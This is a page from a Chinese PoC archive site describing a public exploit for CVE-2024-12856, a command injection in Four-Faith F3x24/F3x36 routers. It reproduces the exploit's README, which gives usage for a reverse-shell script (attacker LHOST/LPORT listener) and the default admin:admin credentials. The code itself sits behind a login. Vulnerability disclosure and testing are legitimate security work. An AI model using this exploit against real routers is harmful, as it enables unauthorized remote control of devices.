目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2024-12856 PoC — Four-Faith F3x24和Four-Faith F3x36 安全漏洞

来源
关联漏洞
标题: Four-Faith F3x24和Four-Faith F3x36 安全漏洞 (CVE-2024-12856)
Description:Four-Faith F3x24和Four-Faith F3x36都是中国四信(Four-Faith)公司的一款便携式无线移动路由器。 Four-Faith F3x24和Four-Faith F3x36存在安全漏洞。攻击者利用该漏洞可以通过 apply.cgi 修改系统时间时通过 HTTP 执行任意操作系统命令。
Description
An exploit for Four-Faith routers to get a reverse shell
介绍
# CVE-2024-12856
This is an exploit for Four-Faith router models F3x24 and F3x36 to get a reverse shell.

"The Four-Faith router models F3x24 and F3x36 are affected by an operating system (OS) command injection vulnerability. At least firmware version 2.0 allows authenticated and remote attackers to execute arbitrary OS commands over HTTP when modifying the system time via apply.cgi. Additionally, this firmware version has default credentials which, if not changed, would effectively change this vulnerability into an unauthenticated and remote OS command execution issue."

_Source: [nist.gov](https://nvd.nist.gov/vuln/detail/CVE-2024-12856)_

This script is based on a payload observed by [VulnCheck](https://vulncheck.com/blog/four-faith-cve-2024-12856)

## How to use
Before running the exploit start a TCP server on your machine.\
Then run
 
```python exploit.py [-u USERNAME] [-p PASSWORD] [-rport REMOTE_PORT] RHOST LHOST LPORT```

Where
-  `RHOST` is the remote IP address. You can also add a domain.
-  `LHOST` is the IP of your TCP server on your machine.
-  `LPORT` is the port of your TCP server
-  `USERNAME` and `PASSWORD` are the credentials of the router. The default is admin:admin.
-  `RPORT` is the remote port of the router. Default is 80


## Disclaimer
Make sure to use this exploit only for testing and in authorized environments.

Never use it for malicious purposes.
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →